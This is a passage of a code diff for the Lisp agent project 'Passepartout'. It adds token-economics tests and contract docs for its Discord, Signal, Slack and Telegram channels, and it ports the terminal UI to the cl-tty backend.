   (is (null (car passepartout::*prompt-prefix-cache*)))
   (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
   (is (string= "" (getf passepartout::*context-cache* :rendered))))
+#+end_src* v0.8.0 Tests — Context Usage
+#+begin_src lisp
+(in-package :passepartout-token-economics-tests)
+
+(test test-context-usage-percentage
+  "Contract 5: context-usage-percentage returns integer 0-100."
+  ;; Set up a cache with known token counts
+  (let* ((ctx passepartout::*context-cache*)
+         (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
+                    16384)))
+    (setf (getf ctx :identity-tokens) 1000
+          (getf ctx :tool-tokens) 500
+          (getf ctx :context-tokens) 2000
+          (getf ctx :log-tokens) 800
+          (getf ctx :config-tokens) 200
+          (getf ctx :time-tokens) 100)
+    (let ((pct (passepartout::context-usage-percentage)))
+      (is (integerp pct))
+      (is (<= 0 pct 100)))))
+
+(test test-context-usage-percentage-empty-cache
+  "Contract 5: context-usage-percentage returns nil with no cache data."
+  (let ((saved-ctx (copy-list passepartout::*context-cache*)))
+    (unwind-protect
+         (progn
+           (setf (getf passepartout::*context-cache* :identity-tokens) nil
+                 (getf passepartout::*context-cache* :tool-tokens) nil
+                 (getf passepartout::*context-cache* :context-tokens) nil
+                 (getf passepartout::*context-cache* :log-tokens) nil
+                 (getf passepartout::*context-cache* :config-tokens) nil
+                 (getf passepartout::*context-cache* :time-tokens) nil)
+           (is (null (passepartout::context-usage-percentage))))
+      (setf passepartout::*context-cache* saved-ctx))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-token-economics-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:token-economics-suite))
+
+(in-package :passepartout-token-economics-tests)
+
+(def-suite token-economics-suite
+    :description "Prompt prefix caching, incremental context, token budget")
+(in-suite token-economics-suite)
+
+(test test-prompt-prefix-cached-identity
+  "Contract 1: prompt-prefix-cached includes identity-content when provided."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached
+                 "Agent" "### Mode: concise" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "Mode: concise" prefix))
+    (is (search "TOOLS" prefix))))
+
+(test test-prompt-prefix-cached-builds
+  "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "TOOLS" prefix))))
+
+(test test-prompt-prefix-cached-hits
+  "Contract 1: second call with same inputs returns cached result."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
+    (is (string= p1 p2))))
+
+(test test-prompt-prefix-cached-miss
+  "Contract 1: different inputs rebuild the cache."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
+    (is (not (string= p1 p2)))
+    (is (search "Bot" p2))))
+
+(test test-context-assemble-cached-skips-heartbeat
+  "Contract 2: heartbeat sensors skip context assembly, return nil."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :heartbeat)))
+    (is (null result))))
+
+(test test-context-assemble-cached-skips-delegation
+  "Contract 2: delegation sensors also skip assembly."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :delegation)))
+    (is (null result))))
+
+(test test-context-assemble-cached-non-skip
+  "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :user-input)))
+    (is (stringp result))
+    (is (> (length result) 0))))
+
+(test test-enforce-token-budget-passthrough
+  "Contract 3: under-budget prompts pass through unchanged."
+  (multiple-value-bind (p c l u m)
+      (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
+    (is (string= "hi" p))
+    (is (string= "ctxt" c))
+    (is (string= "log" l))
+    (is (string= "user" u))
+    (is (null m))))
+
+(test test-enforce-token-budget-trims
+  "Contract 3: over-budget prompts get trimmed."
+  (let ((big-prefix (make-string 20000 :initial-element #\x)))
+    (multiple-value-bind (p c l u m)
+        (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
+      (declare (ignore p l u m))
+      ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
+      (is (or (stringp c) (null c)))
+      (is (search "[Context trimmed" (or c ""))))))
+
+(test test-token-economics-initialize
+  "Contract 4: initialize zeroes all cache state."
+  (setf (car passepartout::*prompt-prefix-cache*) 12345
+        (cdr passepartout::*prompt-prefix-cache*) "stale")
+  (setf (getf passepartout::*context-cache* :rendered) "stale context")
+  (passepartout::token-economics-initialize)
+  (is (null (car passepartout::*prompt-prefix-cache*)))
+  (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
+  (is (string= "" (getf passepartout::*context-cache* :rendered))))
+#+end_src* v0.8.0 Tests — Context Usage
+#+begin_src lisp
+(in-package :passepartout-token-economics-tests)
+
+(test test-context-usage-percentage
+  "Contract 5: context-usage-percentage returns integer 0-100."
+  ;; Set up a cache with known token counts
+  (let* ((ctx passepartout::*context-cache*)
+         (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
+                    16384)))
+    (setf (getf ctx :identity-tokens) 1000
+          (getf ctx :tool-tokens) 500
+          (getf ctx :context-tokens) 2000
+          (getf ctx :log-tokens) 800
+          (getf ctx :config-tokens) 200
+          (getf ctx :time-tokens) 100)
+    (let ((pct (passepartout::context-usage-percentage)))
+      (is (integerp pct))
+      (is (<= 0 pct 100)))))
+
+(test test-context-usage-percentage-empty-cache
+  "Contract 5: context-usage-percentage returns nil with no cache data."
+  (let ((saved-ctx (copy-list passepartout::*context-cache*)))
+    (unwind-protect
+         (progn
+           (setf (getf passepartout::*context-cache* :identity-tokens) nil
+                 (getf passepartout::*context-cache* :tool-tokens) nil
+                 (getf passepartout::*context-cache* :context-tokens) nil
+                 (getf passepartout::*context-cache* :log-tokens) nil
+                 (getf passepartout::*context-cache* :config-tokens) nil
+                 (getf passepartout::*context-cache* :time-tokens) nil)
+           (is (null (passepartout::context-usage-percentage))))
+      (setf passepartout::*context-cache* saved-ctx))))

org/channel-cli.org

@@ -10,7 +10,7 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
 
 1. (channel-cli-input text): wraps text in a ~:user-input~ envelope
    with ~:source :CLI~ and injects into the pipeline via
-   ~inject-stimulus~.
+   ~stimulus-inject~.
 
 * Implementation
 
@@ -24,7 +24,7 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
 #+begin_src lisp
 (defun channel-cli-input (text)
   "Processes raw text from the command line."
-  (inject-stimulus (list :type :EVENT 
+  (stimulus-inject (list :type :EVENT 
                          :payload (list :sensor :user-input :text text) 
                          :meta (list :source :CLI))))
 #+end_src
@@ -69,4 +69,4 @@ depending on FiveAM macro resolution in the jailed package.
 (handler-case
     (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
   (error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
-#+end_src
+#+end_src

org/channel-discord.org

@@ -7,6 +7,30 @@
 
 Extracted from gateway-messaging in v0.5.0. Isolated platform — Discord-specific poll and send logic.
 
+* Overview
+
+The Discord channel provides bidirectional communication via the Discord REST API
+and Gateway WebSocket. Messages received from Discord channels are injected into
+the cognitive pipeline as ~:user-input~ signals with ~:source :discord~. Outbound
+messages route through the actuator registry when the pipeline targets ~:discord~.
+
+The channel uses two functions: ~discord-poll~ (inbound sensor, REST polling)
+and ~discord-send~ (outbound actuator, REST POST). Both retrieve the bot token
+from the credentials vault (~vault-get-secret :discord~). HITL commands are
+intercepted before injection so approval flows work identically across all channels.
+
+** Contract
+
+1. (discord-get-token): returns the Discord bot token from the vault
+   (via ~vault-get-secret :discord~), or nil if not configured.
+2. (discord-poll): polls configured channels via GET /channels/{id}/messages,
+   injects each non-bot message as a ~:user-input~ stimulus with
+   ~:source :discord~. Handles JSON parse failures and API errors
+   gracefully. HITL commands are intercepted before injection.
+3. (discord-send action context): sends a message via POST /channels/{id}/messages.
+   Extracts ~:channel-id~ and ~:text~ from the action plist. Uses bot token
+   authentication. Logs send failures without crashing the pipeline.
+
 * Implementation
 
 #+begin_src lisp

org/channel-shell.org

@@ -132,4 +132,4 @@ When bwrap is available, wraps the command in a Linux namespace sandbox."
          (result (passepartout::actuator-shell-execute action nil)))
     (is (stringp result))
     (is (search "hello" result :test #'char-equal))))
-#+end_src
+#+end_src

org/channel-signal.org

@@ -7,6 +7,31 @@
 
 Extracted from gateway-messaging in v0.5.0. Isolated platform — Signal-specific poll and send logic.
 
+* Overview
+
+The Signal channel provides bidirectional communication via the ~signal-cli~ CLI tool.
+Messages received from Signal contacts are injected into the cognitive pipeline
+as ~:user-input~ signals with ~:source :signal~. Outbound messages route through
+the actuator registry when the pipeline targets ~:signal~.
+
+The channel uses two functions: ~signal-poll~ (inbound sensor) and ~signal-send~
+(outbound actuator). Both retrieve the Signal account identifier from the
+credentials vault. HITL commands (~/approve~, ~/deny~) are intercepted before
+injection so approval flows work identically across all channels.
+
+** Contract
+
+1. (signal-get-account): returns the Signal phone number from the vault
+   (via ~vault-get-secret :signal~), or nil if not configured.
+2. (signal-poll): queries ~signal-cli receive --json~ for new messages,
+   injects each non-system message as a ~:user-input~ stimulus with
+   ~:source :signal~. Handles JSON parse failures and network errors
+   gracefully (logs and continues). HITL commands are intercepted before
+   injection.
+3. (signal-send action context): sends a message via ~signal-cli send~.
+   Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
+   failures without crashing the pipeline.
+
 * Implementation
 
 #+begin_src lisp

org/channel-slack.org

@@ -7,6 +7,31 @@
 
 Extracted from gateway-messaging in v0.5.0. Isolated platform — Slack-specific poll and send logic.
 
+* Overview
+
+The Slack channel provides bidirectional communication via the Slack Web API
+(chat.postMessage for outbound, conversations.history for inbound polling).
+Messages from Slack channels are injected into the cognitive pipeline as
+~:user-input~ signals with ~:source :slack~. Outbound messages route through
+the actuator registry when the pipeline targets ~:slack~.
+
+The channel uses two functions: ~slack-poll~ (inbound sensor) and ~slack-send~
+(outbound actuator). Both retrieve the bot token from the credentials vault.
+HITL commands are intercepted before injection so approval flows work identically
+across all channels.
+
+** Contract
+
+1. (slack-get-token): returns the Slack bot token from the vault
+   (via ~vault-get-secret :slack~), or nil if not configured.
+2. (slack-poll): polls configured channels via conversations.history,
+   injects each non-bot message as a ~:user-input~ stimulus with
+   ~:source :slack~. Handles API errors gracefully. HITL commands are
+   intercepted before injection.
+3. (slack-send action context): sends a message via chat.postMessage.
+   Extracts ~:channel-id~ and ~:text~ from the action plist. Uses Bearer
+   token authentication. Logs send failures without crashing the pipeline.
+
 * Implementation
 
 #+begin_src lisp

org/channel-telegram.org

@@ -7,6 +7,33 @@
 
 Extracted from gateway-messaging in v0.5.0. Isolated platform — Telegram-specific poll and send logic.
 
+* Overview
+
+The Telegram channel provides bidirectional communication via the Telegram Bot
+API. Messages from Telegram chats are injected into the cognitive pipeline as
+~:user-input~ signals with ~:source :telegram~. Outbound messages route through
+the actuator registry when the pipeline targets ~:telegram~.
+
+The channel uses two functions: ~telegram-poll~ (inbound sensor, getUpdates
+with offset tracking) and ~telegram-send~ (outbound actuator, sendMessage).
+Both retrieve the bot token from the credentials vault. The polling offset
+(~:last-update-id~ in ~*gateway-configs*~) prevents duplicate processing across
+poll cycles. HITL commands are intercepted before injection so approval flows
+work identically across all channels.
+
+** Contract
+
+1. (telegram-get-token): returns the Telegram bot token from the vault
+   (via ~vault-get-secret :telegram~), or nil if not configured.
+2. (telegram-poll): polls getUpdates with offset tracking (prevents
+   duplicate processing), injects each message as a ~:user-input~ stimulus
+   with ~:source :telegram~. Updates ~:last-update-id~ per cycle. Handles
+   API and JSON parse errors gracefully. HITL commands are intercepted
+   before injection.
+3. (telegram-send action context): sends a message via sendMessage.
+   Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
+   failures without crashing the pipeline.
+
 * Implementation
 
 #+begin_src lisp

org/channel-tui-state.org

@@ -17,9 +17,9 @@ All state mutation flows through event handlers in the controller.
    reader loop. (drain-queue) returns and clears the queue.
 
 ** Package + State
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-state.lisp
 (defpackage :passepartout.channel-tui
-  (:use :cl :croatoan :passepartout :usocket :bordeaux-threads)
+  (:use :cl :passepartout :usocket :bordeaux-threads)
   (:export :tui-main :st :add-msg :now :input-string
            :queue-event :drain-queue :init-state
            :view-status :view-chat :view-input :redraw
@@ -41,6 +41,7 @@ All state mutation flows through event handlers in the controller.
     :connected :green :disconnected :red :busy :magenta :idle :white
     ;; Gate trace
     :gate-passed :green :gate-blocked :red :gate-approval :yellow
+    :hitl :magenta
     ;; Tools (future use)
     :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
     ;; Display
@@ -49,7 +50,7 @@ All state mutation flows through event handlers in the controller.
     :rule-count :cyan :focus-map :yellow
     ;; UI
     :dim :white :highlight :cyan :accent :green)
-  "Color theme plist. 27 semantic keys → Croatoan color values.
+  "Color theme plist. 27 semantic keys → hex color strings.
 See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
 
 (defvar *tui-theme-presets*
@@ -120,8 +121,15 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
       key)))
 
 (defun theme-color (role)
-  "Returns the Croatoan color for a semantic role."
-  (or (getf *tui-theme* role) :white))
+  "Returns a hex color string for a semantic role, suitable for cl-tty."
+  (let ((val (or (getf *tui-theme* role) :white)))
+    (cond
+      ((stringp val) val)
+      (t (case val
+           (:green "#00FF00") (:red "#FF0000") (:cyan "#00FFFF")
+           (:yellow "#FFFF00") (:magenta "#FF00FF") (:blue "#0000FF")
+           (:white "#FFFFFF") (:black "#000000")
+           (t "#FFFFFF"))))))
 
 (defun st (key) (getf *state* key))
 (defun (setf st) (val key) (setf (getf *state* key) val))
@@ -134,11 +142,18 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
               :scroll-offset 0 :busy nil :cursor-pos 0
               :pending-ctrl-x nil
               :scroll-at-bottom t :scroll-notify nil
+              :streaming-text nil :url-buffer nil            ; v0.7.1
+              :collapsed-gates nil                          ; v0.7.2
+              :search-mode nil :search-query ""           ; v0.7.2
+              :search-matches nil :search-match-idx 0
+              :sidebar-visible nil                        ; v0.8.0
+              :expand-tool-calls nil                      ; v0.8.0
+              :mcp-count 0                                ; v0.8.0
               :dirty (list nil nil nil))))
-#+end_src
+#+END_SRC
 
 ** Helpers
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-state.lisp
 (defun now ()
   (multiple-value-bind (s m h) (get-decoded-time)
     (declare (ignore s))
@@ -166,16 +181,16 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
         (setf (st :input-buffer) (reverse (coerce new 'list)))
         (setf (st :cursor-pos) (1- pos))))))
 
-(defun add-msg (role content &key gate-trace)
-  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace) (st :messages))
+(defun add-msg (role content &key gate-trace panel)
+  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages))
   ;; v0.7.0: notify when scrolled up and new msg arrives
   (unless (st :scroll-at-bottom)
     (setf (st :scroll-notify) t))
   (setf (st :dirty) (list t t nil)))
-#+end_src
+#+END_SRC
 
 ** Event Queue
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-state.lisp
 (defun queue-event (ev)
   (bt:with-lock-held (*event-lock*) (push ev *event-queue*)))
 
@@ -183,4 +198,4 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
   (bt:with-lock-held (*event-lock*)
     (let ((evs (nreverse *event-queue*)))
       (setf *event-queue* nil) evs)))
-#+end_src
+#+END_SRC

org/channel-tui-view.org

@@ -3,8 +3,8 @@
 
 * View
 
-Pure render functions. Each takes a Croatoan window and current state.
-State is read via ~(st :key)~ — no mutation here.
+|Pure render functions. Each takes the cl-tty backend and current state.
+|State is read via ~(st :key)~ — no mutation here.
 
 ** Contract
 
@@ -42,68 +42,91 @@ architecture:
 All three enrichments cost 0 LLM tokens — they are daemon-state queries
 that the TUI actuator attaches to the response plist before transmission.
 
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-view.lisp
 (in-package :passepartout.channel-tui)
 
-(defun view-status (win)
-  (clear win)
-  (box win 0 0)
-  (add-string win
-   (format nil " Passepartout  ~a  [~a]  msgs:~a  scroll:~a  Rules:~a~a"
-           (if (st :connected) "● Connected" "○ Disconnected")
-           (string-upcase (string (st :mode)))
-           (length (st :messages))
-           (if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
-           (or (st :rule-count) 0)
-           (if (st :busy) "  …thinking" ""))
-   :y 1 :x 1 :fgcolor (theme-color (if (st :connected) :connected :disconnected)))
-  ;; Second line: Focus map (left) + timestamp (right-aligned, v0.7.0)
-  (let ((focus-info (or (st :foveal-id) "")))
-    (when (and focus-info (> (length focus-info) 0))
-      (add-string win (format nil " [Focus: ~a]" focus-info)
-                  :y 2 :x 1 :fgcolor (theme-color :timestamp))))
-  (add-string win (format nil " ~a" (now))
-              :y 2 :x (max 1 (- (width win) 12))
-              :fgcolor (theme-color :timestamp))
-  (refresh win))
-#+end_src
-
-** Chat Area
-#+begin_src lisp
 (defun word-wrap (text width)
-  "Break text into lines at word boundaries, each <= width chars.
-Returns list of trimmed strings. Single words wider than width are split."
-  (let ((lines '())
-        (pos 0)
-        (len (length text)))
-    (loop while (< pos len)
-          do (let ((end (min len (+ pos width))))
-               (cond
-                 ((>= end len)
-                  (push (string-trim '(#\Space) (subseq text pos len)) lines)
-                  (setf pos len))
-                 ((char= (char text (1- end)) #\Space)
-                  (push (string-trim '(#\Space) (subseq text pos end)) lines)
-                  (setf pos end))
-                 (t
-                  (let ((last-space (position #\Space text :from-end t :end (1+ end) :start pos)))
-                    (if (and last-space (> last-space pos))
-                        (progn
-                          (push (string-trim '(#\Space) (subseq text pos last-space)) lines)
-                          (setf pos (1+ last-space)))
-                        (progn
-                          (push (string-trim '(#\Space) (subseq text pos end)) lines)
-                          (setf pos end))))))))
+  "Wrap TEXT to at most WIDTH columns. Splits on word boundaries.
+Returns a list of strings, one per line."
+  (let ((lines nil))
+    (loop while (> (length text) width)
+          do (let ((break (or (position #\Space text :end width :from-end t)
+                              width)))
+               (push (subseq text 0 break) lines)
+               (setf text (string-left-trim '(#\Space)
+                            (subseq text break)))))
+    (push text lines)
     (nreverse lines)))
 
-(defun view-chat (win h)
-  (clear win)
-  (box win 0 0)
-  (let* ((w (or (width win) 78))
-         (msgs (st :messages))
+(defun view-status (fb w)
+  (let* ((degraded (and (find-package :passepartout)
+                        (boundp (find-symbol "*SYSTEM-HEALTH*" :passepartout))
+                        (member (symbol-value (find-symbol "*SYSTEM-HEALTH*" :passepartout))
+                                '(:degraded :unhealthy))))
+         (bg (if degraded :bright-yellow nil)))
+    ;; Line 1: Connection, mode, msgs, scroll, rules, streaming/busy
+    (cl-tty.backend:draw-text fb 1 1
+     (format nil " Passepartout  ~a  [~a]  msgs:~a  scroll:~a  Rules:~a~a"
+            (if (st :connected) "● Connected" "○ Disconnected")
+            (string-upcase (string (st :mode)))
+            (length (st :messages))
+            (if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
+            (or (st :rule-count) 0)
+            (if (st :streaming-text) "  [streaming]"
+                (if (st :busy) "  …thinking" "")))
+     (theme-color (if (st :connected) :connected :disconnected)) bg)
+    ;; Line 2: Focus + Timestamp
+    (let ((focus-info (or (st :foveal-id) "")))
+      (when (and focus-info (> (length focus-info) 0))
+        (cl-tty.backend:draw-text fb 1 2 (format nil " [Focus: ~a]" focus-info)
+                                  (theme-color :timestamp) bg)))
+    (cl-tty.backend:draw-text fb (max 1 (- w 12)) 2 (format nil " ~a" (now))
+                              (theme-color :timestamp) bg)
+    ;; Line 3: Directory, LSP, MCP, commands hint (v0.8.0)
+    (let* ((cwd (or (uiop:getenv "PWD") (uiop:getcwd)))
+           (dir (subseq cwd (max 0 (- (length cwd) (- w 45)))))
+           (lsp-color (if (st :connected) :green :dim))
+           (mcp-count (or (st :mcp-count) 0))
+           (hint " Ctrl+P: commands  /help: help"))
+      (cl-tty.backend:draw-text fb 1 3 (format nil " ~a" dir) (theme-color :dim) bg)
+      (cl-tty.backend:draw-text fb (+ 2 (length dir)) 3 "●" (theme-color lsp-color) bg)
+      (cl-tty.backend:draw-text fb (+ 5 (length dir)) 3 (format nil " MCP:~d" mcp-count)
+                                (theme-color :dim) bg)
+      (cl-tty.backend:draw-text fb (- w (length hint) 2) 3 hint (theme-color :timestamp) bg))))
+
+;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown
+(defun search-highlight (content query)
+  "Wrap occurrences of QUERY in CONTENT with **bold** markers."
+  (let ((lower-content (string-downcase content))
+        (lower-query (string-downcase query))
+        (result "") (pos 0))
+    (when (and query (> (length query) 0))
+      (loop
+        (let ((found (search lower-query lower-content :start2 pos)))
+          (unless found (return))
+          (setf result (concatenate 'string result
+                                   (subseq content pos found)
+                                   "**" (subseq content found (+ found (length query))) "**"))
+          (setf pos (+ found (length query)))))
+      (setf result (concatenate 'string result (subseq content pos)))
+      (if (string= result "") content result))))
+
+(defun view-chat (fb w h)
+  (let* ((msgs (st :messages))
          (total (length msgs))
          (max-lines (- h 2))
+         (is-search (st :search-mode))
          (y 1))
+    ;; v0.7.2: search mode header
+    (when is-search
+      (let* ((matches (st :search-matches))
+             (idx (st :search-match-idx))
+             (query (st :search-query))
+             (header (format nil "Search: ~d matches for '~a' (~d/~d) — Esc to exit"
+                            (length matches) query (1+ idx) (length matches))))
+        (cl-tty.backend:draw-text fb 1 y header (theme-color :highlight) nil)
+        (incf y)
+        (decf max-lines)))
     ;; Count visible messages from end, accounting for word wrap
     (let* ((msg-count 0)
            (lines-remaining max-lines))
@@ -114,7 +137,10 @@ Returns list of trimmed strings. Single words wider than width are split."
                       (content (getf msg :content))
                       (time (or (getf msg :time) ""))
                       (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                      (line-text (format nil "~a [~a] ~a" prefix time content))
+                      (content-show (if is-search
+                                       (search-highlight content (st :search-query))
+                                       content))
+                      (line-text (format nil "~a [~a] ~a" prefix time content-show))
                       (wrapped (word-wrap line-text (- w 2)))
                       (nlines (length wrapped)))
                  (if (<= nlines lines-remaining)
@@ -131,41 +157,54 @@ Returns list of trimmed strings. Single words wider than width are split."
                         (time (or (getf msg :time) ""))
                         (color (theme-color (case role (:user :user) (:agent :agent) (:system :system) (t :agent))))
                         (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                        (line-text (format nil "~a [~a] ~a" prefix time content))
+                        (is-panel (getf msg :panel))
+                        (is-resolved (getf msg :panel-resolved))
+                        (content-show (if is-search
+                                         (search-highlight content (st :search-query))
+                                         content))
+                        (line-text (format nil "~a [~a] ~a" prefix time content-show))
                         (wrapped (word-wrap line-text (- w 2))))
+                   ;; HITL panel: render with colored border
+                   (when is-panel
+                     (setf color (if is-resolved
+                                    (theme-color :dim)
+                                    (theme-color :hitl))))
                    (dolist (line wrapped)
-                     (when (< y (1- h))
-                       (add-string win line :y y :x 1 :n (1- w) :fgcolor color)
-                        (incf y))))))))
-  (refresh win))
-#+end_src
+                      (when (< y (1- h))
+                        (cl-tty.backend:draw-text fb 1 y line color nil)
+                        (incf y)))
+                    ;; v0.7.2: gate trace below agent messages
+                    (let ((gate-trace (getf msg :gate-trace)))
+                      (when (and gate-trace (not (member i (st :collapsed-gates))))
+                        (dolist (entry (passepartout::gate-trace-lines gate-trace))
+                          (when (< y (1- h))
+                            (cl-tty.backend:draw-text fb 3 y (car entry)
+                                                      (or (getf (cdr entry) :fgcolor) :dim) nil)
+                            (incf y)))))))))))
+#+END_SRC
 
 ** Input Line
-#+begin_src lisp
-(defun view-input (win)
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-view.lisp
+(defun view-input (fb w)
   (let* ((text (input-string))
-         (w (or (width win) 78))
          (pos (or (st :cursor-pos) 0))
          (display-start (max 0 (- pos (1- w))))
          (visible (subseq text display-start (min (length text) (+ display-start w)))))
-    (clear win)
-    (add-string win (format nil "~a " visible) :y 0 :x 0 :n (1- w) :fgcolor (theme-color :input))
-    (setf (cursor-position win) (list 0 (min (- pos display-start) (1- w)))))
-  (refresh win))
+    (cl-tty.backend:draw-text fb 0 0 (format nil "~a " visible) (theme-color :input) nil)))
 #+end_src
 
 ** Redraw (dirty-flag dispatch)
 #+begin_src lisp
-(defun redraw (sw cw ch iw)
+(defun redraw (fb w h)
   (destructuring-bind (sd cd id) (st :dirty)
-    (when sd (view-status sw))
-    (when cd (view-chat cw ch))
-    (when id (view-input iw))
-     (setf (st :dirty) (list nil nil nil))))
-#+end_src
+    (when sd (view-status fb w))
+    (when cd (view-chat fb w (- h 5)))
+    (when id (view-input fb w))
+    (setf (st :dirty) (list nil nil nil))))
+#+END_SRC
 
 * Implementation — v0.7.0 additions
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-view.lisp
 (in-package :passepartout)
 
 (defun char-width (ch)
@@ -189,10 +228,162 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
       ((<= #x20D0 code #x20FF) 0)
       ((<= #xFE00 code #xFE0F) 0)
       (t 1))))
-#+end_src
+#+END_SRC
+
+* v0.7.1 — Markdown Rendering
+#+BEGIN_SRC lisp :tangle ../lisp/channel-tui-view.lisp
+(in-package :passepartout)
+
+(defun parse-markdown-spans (text)
+  "Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))."
+  (let ((results nil) (pos 0) (len (length text)))
+    (labels ((earliest (a b) (cond ((and a (or (null b) (< a b))) a) (b b))))
+      (loop
+        (when (>= pos len) (return))
+        (let* ((bold (search "**" text :start2 pos))
+               (code (search "`" text :start2 pos))
+               (italic (search "*" text :start2 pos))
+               (http (search "http://" text :start2 pos))
+               (https (search "https://" text :start2 pos))
+               (url-s (or https http)))
+          (flet ((pick (tag delim)
+                   (let ((end (search delim text :start2 (+ pos (length delim)))))
+                     (when end
+                       (push (cons (subseq text (+ pos (length delim)) end)
+                                   (case tag (:bold '(:bold t))
+                                        (:code '(:code t :bgcolor :dim))
+                                        (:underline '(:underline t))
+                                        (:url '(:url t))))
+                             results)
+                       (setf pos (+ end (length delim)))
+                       t)))
+                 (url-end (start)
+                   (or (position-if (lambda (c) (find c '(#\Space #\Newline #\Tab #\))))
+                                    text :start start)
+                       len)))
+            (let ((next (earliest (earliest (earliest bold code) italic) url-s)))
+              (cond ((and bold (eql bold next)) (unless (pick :bold "**") (incf pos 2)))
+                    ((and code (eql code next)) (unless (pick :code "`") (incf pos)))
+                    ((and italic (eql italic next)) (unless (pick :underline "*") (incf pos)))
+                    ((and url-s (eql url-s next))
+                     (let ((ue (url-end url-s)))
+                       (push (cons (subseq text url-s ue) '(:url t)) results)
+                       (setf pos ue)))
+                    (t (push (cons (subseq text pos) nil) results) (return))))))))
+    (nreverse results)))
+
+(defun render-styled (fb segments y x w)
+  "Render markdown segments to cl-tty backend. Returns next y."
+  (dolist (seg segments)
+    (let* ((text (or (car seg) ""))
+           (attrs (cdr seg))
+           (bold (getf attrs :bold))
+           (code (getf attrs :code))
+           (url (getf attrs :url)))
+      (declare (ignore code))
+      (cl-tty.backend:draw-text fb x y text
+                               (cond (url (theme-color :highlight))
+                                     (t (theme-color (or (getf attrs :role) :agent))))
+                               nil
+                               :bold bold)
+      (incf x (length text))))
+  y)
+
+(defun parse-markdown-blocks (text)
+  "Split text at ``` code block boundaries."
+  (let ((r nil) (p 0) (l (length text)))
+    (loop
+     (when (>= p l) (return))
+     (let ((bs (search "```" text :start2 p)))
+       (unless bs
+         (push (cons (subseq text p) nil) r)
+         (return))
+       (when (> bs p)
+         (push (cons (subseq text p bs) nil) r))
+       (let* ((ao (+ bs 3))
+              (le (or (position #\Newline text :start ao) l))
+              (lang (string-trim " \r\n\t" (if (< le l) (subseq text ao le) "")))
+              (cs (if (< le l) (1+ le) l))
+              (cp (search "```" text :start2 cs))
+              (ce (or cp l))
+              (content (string-trim "\r\n" (subseq text cs ce))))
+         (push (list :code-block t :lang lang :content content) r)
+         (setf p (if cp (+ cp 3) l)))))
+    (nreverse r)))
+
+(defun syntax-highlight (code lang)
+  "Highlight Lisp code: strings, comments, keywords, function calls."
+  (declare (ignore lang))
+  (let* ((r nil) (p 0) (l (length code))
+         (kw '("defun" "defvar" "defparameter" "let" "let*" "lambda" "if" "when" "unless"
+               "cond" "loop" "dolist" "dotimes" "progn" "prog1" "return"
+               "setf" "setq" "format" "and" "or" "not" "list" "cons"
+               "quote" "function" "declare" "ignore" "t" "nil")))
+    (flet ((wordp (c) (or (alphanumericp c) (find c "-*+/?!_=<>"))))
+      (loop
